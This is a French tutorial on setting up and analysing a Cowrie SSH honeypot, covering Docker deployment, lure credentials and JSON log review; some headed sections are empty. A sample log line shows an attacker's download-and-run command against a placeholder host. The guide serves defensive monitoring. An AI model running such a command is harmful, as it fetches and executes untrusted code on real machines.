🍯 Honeypot avancé avec Cowrie

Principe & schéma

Cowrie est un honeypot à moyenne interaction : il émule un vrai shell Unix (commandes, système de fichiers factice, téléchargements) sans jamais exposer votre machine réelle. L'attaquant croit avoir compromis un serveur, exécute ses commandes habituelles, et chacune de ses actions est journalisée pour analyse.

Le flux se résume en trois temps : l'attaquant cible un service exposé, le honeypot le leurre et enregistre tout, puis vous exploitez les logs collectés.

┌──────────────┐        ┌─────────────────────────┐        ┌────────────────────┐
│   ATTAQUANT   │        │   HONEYPOT COWRIE        │        │      ANALYSE       │
│               │        │   (votre infra isolée)   │        │                    │
│ • bruteforce  │──SSH──▶│ • faux shell SSH/Telnet  │──logs─▶│ • parsing JSON     │
│ • bots/scans  │ 22/2222│ • FS factice, commandes  │ JSON   │ • géoloc des IP    │
│ • malwares    │◀──────▶│ • capture des payloads   │        │ • IOCs / TTPs      │
│               │ leurre │ • enregistre la session  │        │ • dashboards ELK   │
└──────────────┘        └─────────────────────────┘        └────────────────────┘
     Curieux            Aucun accès à la vraie machine        Renforcement défensif

🛠️ Au programme

J'ai installé, pour tester, un honeypot afin de comprendre et identifier certaines attaques, repérer les actions récurrentes et observer comment les attaquants agissent sur un serveur SSH. Un excellent exercice de surveillance proactive et d'analyse comportementale des threat actors.

Installation pas-à-pas (native)

Cowrie s'installe idéalement sur une VM dédiée (Debian/Ubuntu), sous un utilisateur non privilégié. Il ne doit jamais tourner en root. Suivez les étapes dans l'ordre.

🐳 Déploiement Docker (option rapide)

Docker offre le déploiement le plus rapide et le meilleur cloisonnement. L'image officielle est prête à l'emploi ; montez un volume persistant pour conserver les logs.

Pour orchestrer Cowrie avec une stack d'analyse, un docker-compose.yml minimal :

services:
  cowrie:
    image: cowrie/cowrie:latest
    restart: unless-stopped
    ports:
      - "2222:2222"   # SSH émulé
      - "2223:2223"   # Telnet émulé
    volumes:
      - ./cowrie-logs:/cowrie/cowrie-git/var/log/cowrie
      - ./cowrie.cfg:/cowrie/cowrie-git/etc/cowrie.cfg
    networks: [honeynet]

networks:
  honeynet:
    driver: bridge   # réseau dédié, isolé du reste

🔐 Configuration & stratégies de leurre

Toute la personnalisation se fait dans etc/cowrie.cfg et dans les fichiers d'authentification. L'objectif : un leurre assez crédible pour tromper les bots comme les attaquants manuels.

La politique d'authentification (quels couples login/mot de passe sont acceptés) se règle via userdb.txt :

# etc/userdb.txt — format : login:x:mot_de_passe
root:x:123456
root:x:password
admin:x:admin
# '*' accepte n'importe quel mot de passe pour ce login
root:x:*
# '!' refuse explicitement (utile pour observer les échecs)
root:x:!root

Après toute modification, redémarrez le honeypot pour appliquer la configuration :

📄 Lecture & analyse des logs JSON

Cowrie écrit deux journaux principaux dans var/log/cowrie/ : cowrie.log (texte lisible) et surtout cowrie.json — une ligne JSON par événement, idéale pour l'automatisation. Chaque événement porte un champ eventid qui décrit sa nature.

Un événement de connexion et une tentative de login ressemblent à ceci :

{"eventid":"cowrie.session.connect", "src_ip":"185.234.219.x",
 "src_port":52344, "dst_port":2222, "session":"a1b2c3",
 "timestamp":"2026-08-25T02:14:07Z"}
{"eventid":"cowrie.login.success", "username":"root",
 "password":"123456", "src_ip":"185.234.219.x", "session":"a1b2c3"}
{"eventid":"cowrie.command.input",
 "input":"wget http://malic.example/x.sh; chmod +x x.sh; ./x.sh",
 "src_ip":"185.234.219.x", "session":"a1b2c3"}

Les événements les plus utiles à filtrer :

• cowrie.session.connect — nouvelle connexion (IP, port, session).
• cowrie.login.success / cowrie.login.failed — couples login/mot de passe testés.
• cowrie.command.input — chaque commande tapée par l'attaquant.
• cowrie.session.file_download — fichiers/malwares récupérés (avec hash).
• cowrie.client.version — empreinte du client SSH (fingerprinting du bot).

Quelques commandes d'analyse en ligne, avec jq :

🕵️ Analyse comportementale

Une fois les logs collectés, l'objectif est de dégager des schémas récurrents et d'identifier les TTPs (Tactics, Techniques, Procedures) des attaquants observés.

📈 Visualisation ELK / Kibana

Le format JSON de Cowrie s'ingère naturellement dans une stack ELK (Elasticsearch + Logstash + Kibana). L'idée : envoyer les événements vers Elasticsearch, puis construire des dashboards Kibana pour visualiser l'activité.

Idées de visualisations pertinentes :

• Carte géographique en temps réel des IP attaquantes (GeoIP).
• Nuage / histogramme des mots de passe les plus tentés.
• Top des commandes exécutées après compromission.
• Timeline des connexions pour repérer les campagnes coordonnées.
• Tableau des fichiers téléchargés avec leurs hashes (pivot IOC).
• Alerting Kibana/Grafana sur des activités critiques (dépôt de binaire, C&C connu).

Autres solutions de visualisation possibles selon le contexte :

🎯 L'intérêt stratégique

Comprendre les techniques adverses en conditions réelles, collecter des données sur des attaques authentiques, et affiner ses défenses en fonction des menaces réellement observées.

💡 Conseils d'expert